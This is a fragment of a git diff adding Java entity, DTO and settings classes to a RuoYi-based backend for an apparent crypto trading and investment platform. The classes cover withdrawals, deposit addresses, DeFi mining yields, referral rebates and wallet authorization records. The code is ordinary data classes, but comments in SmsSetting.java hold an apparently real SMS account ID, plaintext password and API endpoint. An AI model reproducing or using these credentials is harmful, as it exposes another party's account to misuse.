bankCode; + /** + * 用户地址 + */ + private String userAddress; + + private String adminParentIds; + + /** + * 币种 + */ + private String coin; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java new file mode 100644 index 0000000..46a9fec --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserCoin.java @@ -0,0 +1,21 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@TableName("t_user_coin") +public class TUserCoin { + + @TableId(value = "id",type = IdType.AUTO) + private Long id; + + private Long userId; + + private String coin; + + private String icon; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java new file mode 100644 index 0000000..db177fa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TUserSymbolAddress.java @@ -0,0 +1,42 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户币种充值地址对象 t_user_symbol_address + * + * @author ruoyi + * @date 2023-07-12 + */ +@Data +@TableName("t_user_symbol_address") +public class TUserSymbolAddress { + +private static final long serialVersionUID=1L; + + /** + * 主键id + */ + @TableId(value = "id") + private Long id; + /** + * 用户id + */ + private Long userId; + /** + * 币种 + */ + private String symbol; + /** + * 充值地址 + */ + private String address; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java new file mode 100644 index 0000000..af08320 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/TWithdraw.java @@ -0,0 +1,189 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 用户提现对象 t_withdraw + * + * @author ruoyi + * @date 2023-07-04 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_withdraw") +public class TWithdraw extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * 卡ID + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 用户 + */ + @Excel(name = "用户Id") + private Long userId; + /** + * 用户名 + */ + @Excel(name = "用户名") + private String username; + + @Excel(name = "用户类型",dictType = "user_type") + @TableField(exist = false) + private Integer isTest; + /** + * 提现地址 + */ + @Excel(name = "提现地址") + private String address; + /** + * 提现金额 + */ + @Excel(name = "提现金额") + private BigDecimal amount; + + @Excel(name = "折合u") + @TableField(exist = false) + private BigDecimal uamount; + /** + * 0审核中1成功2失败3 锁定 + */ + @Excel(name = "折合u",dictType = "withdraw_order_status") + private Integer status; + + /** + * 提现币种类型 + */ + @Excel(name = "提现类型") + private String type; + + /** + * 订单类型 1/null 提现 2=彩金扣减 + */ + @Excel(name = "订单类型",readConverterExp = "null=提现,''=提现,1=提现,2=彩金\"") + private String orderType; + + + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户名 + */ + private String fromAddr; + /** + * 用户名 + */ + @Excel(name = "币种") + private String coin; + /** + * 手续费 + */ + @Excel(name = "手续费") + private BigDecimal ratio; + + /** + * 订单号 + */ + @Excel(name = "订单号") + private String serialId; + + /** + * 固定手续费 + */ + private BigDecimal fixedFee; + /** + * 手续费 + */ + private BigDecimal fee; + + + + /** + * 用户名 + */ + private String withdrawId; + /** + * Host + */ + private String host; + /** + * 实际金额 + */ + @Excel(name = "实际金额") + private BigDecimal realAmount; + /** + * 收款地址 + */ + private String toAdress; + /** + * 通知字段 0未通知 1通知了 + */ + private Integer noticeFlag; + /** + * 提现说明 + */ + @Excel(name = "提现说明") + private String withDrawRemark; + /** + * 银行名称 + */ + private String bankName; + /** + * 银行收款人名称 + */ + private String bankUserName; + /** + * $column.columnComment + */ + private String bankBranch; + /** + * 代理ID + */ + private String adminParentIds; + /** + * 操作时间 + */ + private Date operateTime; + + /** + * 汇率 + */ + private BigDecimal exchangeRate; + + /** + * 应到账金额 + */ + private BigDecimal receiptAmount; + + /** + * 实际到账金额 + */ + private BigDecimal receiptRealAmount; + /** + * 到账币种 + */ + private String receiptCoin; + + //业务字段 + @TableField(exist = false) + private BigDecimal maxAmount; + @TableField(exist = false) + private BigDecimal minAmount; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java new file mode 100644 index 0000000..beb2981 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/AddressHashDTO.java @@ -0,0 +1,36 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * 钱包地址授权详情对象 t_app_address_info + * + * @author ruoyi + * @date 2023-07-15 + */ +@Data +public class AddressHashDTO { + +private static final long serialVersionUID=1L; + + /** + * userId + */ + + private Long userId; + /** + * 地址 + */ + private String address; + /** + * hash + */ + private String hash; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java new file mode 100644 index 0000000..af2c30c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiActivityDTO.java @@ -0,0 +1,57 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 空投活动对象 t_defi_activity + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_activity") +public class DefiActivityDTO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 需要金额 + */ + private BigDecimal totleAmount; + + private Long userId; + /** + * 结束时间 + */ + private Date endTime; + /** + * 奖励金额 + */ + private BigDecimal amount; + /** + * 0-usdt 1-eth + */ + private Long type; + + private Integer status; + /** + * $column.columnComment + */ + private String searchValue; + private Long endTimeS; + private Long beginTimeS; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java new file mode 100644 index 0000000..170bd05 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiOrderDTO.java @@ -0,0 +1,55 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * defi订单对象 t_defi_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_order") +public class DefiOrderDTO extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 收益金额 + */ + private BigDecimal amount; + /** + * 钱包金额 + */ + private BigDecimal totleAmount; + /** + * 收益率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户id + */ + private Long userId; + /** + * 代理ids + */ + private String adminParentIds; + private Long createTimes; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java new file mode 100644 index 0000000..4cae7a8 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/DefiRateDTO.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import jnr.ffi.annotations.In; +import lombok.Data; +import lombok.EqualsAndHashCode; + +import java.math.BigDecimal; + +/** + * defi挖矿利率配置对象 t_defi_rate + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +public class DefiRateDTO { + + private static final long serialVersionUID=1L; + /** + * 顺序 + */ + private Integer sort; + /** + * 金额区间 + */ + private String amountTotle; + /** + * 利率 + */ + private String rate; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java new file mode 100644 index 0000000..dbaf995 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/TontractRequstDto.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.dto; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * @author:michael + * @createDate: 2023/7/31 14:56 + */ +@Data +public class TontractRequstDto { + + private String symbol; + + private BigDecimal leverage; + + private BigDecimal delegatePrice; + + private BigDecimal delegateTotal; + + private Integer type; + + private Integer delegateType; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java new file mode 100644 index 0000000..380c405 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/dto/UserInvestmentDto.java @@ -0,0 +1,29 @@ +package com.ruoyi.bussiness.domain.dto; + +import com.fasterxml.jackson.annotation.JsonFormat; +import lombok.Data; +import org.springframework.format.annotation.DateTimeFormat; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * @author:michael + * @createDate: 2022/8/15 13:43 + */ +@Data +public class UserInvestmentDto { + //地址 + private String address; + //展示收益字段 + private BigDecimal num; + //usdt金额 + private BigDecimal amount; + //每日收益 + private BigDecimal dayRate; + //单次收益 + private BigDecimal singleRate; + //总收益 + private BigDecimal totalProfit; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java new file mode 100644 index 0000000..d309205 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AddMosaicSetting.java @@ -0,0 +1,16 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 底部菜单 + */ +@Data +public class AddMosaicSetting { + private Boolean isOpen; //总开关 + private Boolean sencordIsOpen; //秒合约开关 + private Boolean currencyIsOpen; //币币开关 + private Boolean contractIsOpen; //u本位开关 + private Boolean financialIsOpen; //理财开关 + private Boolean pledgeIsOpen; //质押开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java new file mode 100644 index 0000000..7e034d0 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AppSidebarSetting.java @@ -0,0 +1,53 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class AppSidebarSetting { +// /** +// * 实名认证(初级) +// */ +// private Boolean primary; +// /** +// * 实名认证(高级) +// */ +// private Boolean advanced; +// /** +// * 绑定银行卡 +// */ +// private Boolean bank; +// /** +// * 设置资金密码 +// */ +// private Boolean tardPwd; +// /** +// * 设置登陆密码 +// */ +// private Boolean loginPwd; +// /** +// * 邮箱认证 +// */ +// private Boolean certified; +// /** +// * 服务条款 +// */ +// private Boolean termsService; +// /** +// * 白皮书 +// */ +// private Boolean paper; +// /** +// * 语言 +// */ +// private Boolean language; + + private String key; + private String name; //名称 + private String jumpUrl; //跳转地址 + private String jumpType; //跳转类型 + private Integer sort; //顺序 + private Boolean isOpen; //开关 + private String logoUrl; //图标 + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java new file mode 100644 index 0000000..5a19099 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AssetCoinSetting.java @@ -0,0 +1,36 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 充值通道配置 + */ +@Data +public class AssetCoinSetting { + /** + * 币种名称 + */ + private String coinName; + /** + * 币种类型 + */ + private String coin; + /** + * U-ERC充值地址 + */ + private String coinAddress; + /** + * 充值次数 + */ + private Integer rechargeNum; + /** + * 充值最大额度 + */ + private BigDecimal rechargeMax; + /** + * 充值最小额度 + */ + private BigDecimal rechargeMin; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java new file mode 100644 index 0000000..f98a957 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/AuthLimitSetting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class AuthLimitSetting { + /** + * 初级限额 + */ + private BigDecimal primaryLimit; + /** + * 初级限额 开启 + */ + private Boolean isOpenPrimary; + /** + * 高级限额 + */ + private BigDecimal seniorLimit; + + /** + * 高级限额 开启 + */ + private Boolean isOpenSenior; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java new file mode 100644 index 0000000..d0f6ba1 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BaseSetting.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 系统基本配置 + */ +@Data +public class BaseSetting { +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java new file mode 100644 index 0000000..e46ee10 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/BottomMenuSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 底部菜单 + */ +@Data +public class BottomMenuSetting { + private String name;//名称 + private String key; + private String imgUrl;//图标 + private String checkedImgUrl;//选中图标 + private String linkUrl;//选中图标 + private Integer sort; //顺序 + private Boolean isOpen; //开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java new file mode 100644 index 0000000..ec5327b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DefiIncomeSetting.java @@ -0,0 +1,14 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * defi挖矿收益 + */ +@Data +public class DefiIncomeSetting { + private String totalOutput;//总产出 + private String userBenefits;//用户收益 + private String participant;//参与者 + private String validNode;//有效节点 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java new file mode 100644 index 0000000..69faa38 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/DownloadSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class DownloadSetting { + private String name; + private String url; + private String sort; + private String isOpen; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java new file mode 100644 index 0000000..d2680df --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/EmailSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 邮箱配置 + */ +@Data +public class EmailSetting { + + private String mailTemplate; + private String mailAppName; + private String mailUsername; + private String mailPassword; + private String mailHost; + private String mailPort; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java new file mode 100644 index 0000000..0003853 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialRebateSetting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class FinancialRebateSetting { + + /** + * 开关 + */ + private Boolean isOpen; + /** + * 一级返佣比例 + */ + private BigDecimal oneRatio; + /** + * 二级返佣比例 + */ + private BigDecimal twoRatio; + /** + * 三级返佣比例 + */ + private BigDecimal threeRatio; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java new file mode 100644 index 0000000..b1e2488 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/FinancialSettlementSetting.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +/** + * 理财结算实体 + */ +@Data +public class FinancialSettlementSetting { + + /** + * 结算类型 1 指定天数 2 每日 3 产品到期结算 + */ + private Integer settlementType; + /** + * 结算日期 1-31 + */ + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java new file mode 100644 index 0000000..5b1c5e6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/HomeCoinSetting.java @@ -0,0 +1,14 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 首页币种配置 + */ +@Data +public class HomeCoinSetting { + + private String isOpen; //开关 + private String coin; //币种 + private String sort; //排序 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java new file mode 100644 index 0000000..801d6a4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoadSetting.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class LoadSetting { + /** + * 贷款逾期利率 + */ + private BigDecimal overdueRate; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java new file mode 100644 index 0000000..47e912f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LoginRegisSetting.java @@ -0,0 +1,19 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class LoginRegisSetting { + + + //邮箱 + private boolean emailIsOpen; + //手机注册 + private boolean phoneIsOpen; + //普通 + private boolean ordinaryIsOpen; + //地址 + private boolean addressIsOpen; + //信用分 + private Integer credits=100; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java new file mode 100644 index 0000000..fd93d90 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/LogoSetting.java @@ -0,0 +1,15 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * logo配置 + */ +@Data +public class LogoSetting { + private String logo; + private String logoA; + private String logoB; + private String logoC; + private String logoD; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java new file mode 100644 index 0000000..26e2b8f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MarketUrlSetting.java @@ -0,0 +1,22 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +@Data +public class MarketUrlSetting { + + /** + * 谷歌验证码 + */ + private Boolean url; + + /** + * 运营端验证码 + */ + private Boolean adminCode; + + /** + * H5验证码 + */ + private Boolean h5Code; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java new file mode 100644 index 0000000..211daff --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MiddleMenuSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 金刚区 + */ +@Data +public class MiddleMenuSetting { + + private String name; //名字 + private String key; + private String imgUrl; //图标 + private String linkUrl; //跳转地址 + private Integer sort; //顺序 + private Boolean isOpen; //开关 +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java new file mode 100644 index 0000000..63e1080 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/MingSettlementSetting.java @@ -0,0 +1,20 @@ +package com.ruoyi.bussiness.domain.setting; + + +import lombok.Data; + +/** + * 挖矿实体 + */ +@Data +public class MingSettlementSetting { + + /** + * 结算类型 1 每日返息 2 到期一起返本金加利息 + */ + private Integer settlementType; + /** + * 结算日期 1-31 + */ + private Integer settlementDay; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java new file mode 100644 index 0000000..003c7c6 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/OssSetting.java @@ -0,0 +1,31 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 阿里文件服务器 + */ +@Data +public class OssSetting { + + /** + * 存放路径路径 + */ + private String picLocation; + + private String endPoint; + /** + * 储存空间 + */ + private String bucketName; + /** + * 密钥id + */ + private String accessKeyId; + /** + * 密钥 + */ + private String accessKeySecret; + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java new file mode 100644 index 0000000..cc180cd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlatformSetting.java @@ -0,0 +1,12 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 平台设置 + */ +@Data +public class PlatformSetting { + private String timezone; + private boolean googleAuth; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java new file mode 100644 index 0000000..a956900 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/PlayingSetting.java @@ -0,0 +1,15 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 玩法配置 + */ +@Data +public class PlayingSetting { + + //name sort isOpen + private String name; //顺序 + private Boolean isOpen; //顺序 + private Integer sort; //顺序 +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java new file mode 100644 index 0000000..5d06d71 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/RechargeRebateSetting.java @@ -0,0 +1,23 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +@Data +public class RechargeRebateSetting { + + /** + * 返佣比例 + */ + private BigDecimal ratio; + + /** + * 最大返佣限制 + */ + private BigDecimal rebateMaxAmount; + /** + * 开关 + */ + private Boolean isOpen; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java new file mode 100644 index 0000000..217a295 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/Setting.java @@ -0,0 +1,26 @@ +package com.ruoyi.bussiness.domain.setting; + +import com.baomidou.mybatisplus.annotation.IdType; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serializable; + +@Data +@TableName("t_setting") +@NoArgsConstructor +public class Setting implements Serializable { + + private static final long serialVersionUID = 1L; + + @TableId(value = "id",type = IdType.INPUT) + private String id; + + private Boolean deleteFlag; + + private String settingValue; + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java new file mode 100644 index 0000000..ce3434a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SmsSetting.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 短信配置 + */ +@Data +public class SmsSetting { + + + private String name;//=node + private String mobileAccount;//=I003662 + private String mobilePassword;//=OEwXRLHZkB23 + private String mobileUrl;//=https://api.nodesms.com/send/json + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java new file mode 100644 index 0000000..8e9c252 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/SupportStaffSetting.java @@ -0,0 +1,13 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +/** + * 客服设置 + */ +@Data +public class SupportStaffSetting { + private String name; //客服名称 + private String url; + private String imgUrl; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java new file mode 100644 index 0000000..45827c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TRechargeChannelSetting.java @@ -0,0 +1,55 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import java.math.BigDecimal; + +/** + * 提现通道配置 + */ +@Data +public class TRechargeChannelSetting { + + /** + * 0-关闭 1-开启 + */ + private String status; + /** + * 展示名称 + */ + private String rechargeName; + /** + * 提现币种 + */ + private String rechargeType; + /** + * 0 为数据货币 1为银行卡 + */ + private String type; + /** + *固定手续费 + */ + + private BigDecimal fee ; + + /** + * 手续费 + */ + private BigDecimal ratio; + /** + * 每日提现次数限制 + */ + private Integer dayWithdrawalNum; + /** + * 系统免费提现次数 + */ + private Integer freeNum; + /** + * 最大限制 + */ + private BigDecimal withdrawalMax; + /** + * 最小限制 + */ + private BigDecimal withdrawalMix; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java new file mode 100644 index 0000000..ccd67dc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TabSetting.java @@ -0,0 +1,19 @@ +package com.ruoyi.bussiness.domain.setting; + +import lombok.Data; + +import javax.swing.*; +import java.security.Key; + +/** + * 玩法配置 + */ +@Data +public class TabSetting { + + //name sort isOpen + private String name; //顺序 + private Boolean isOpen; //顺序 + private Integer sort; //顺序 + private String keyStr; // 语言 +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/setting/TgBotSetting.java new file mode 100644 index 0000000..e04194e --- 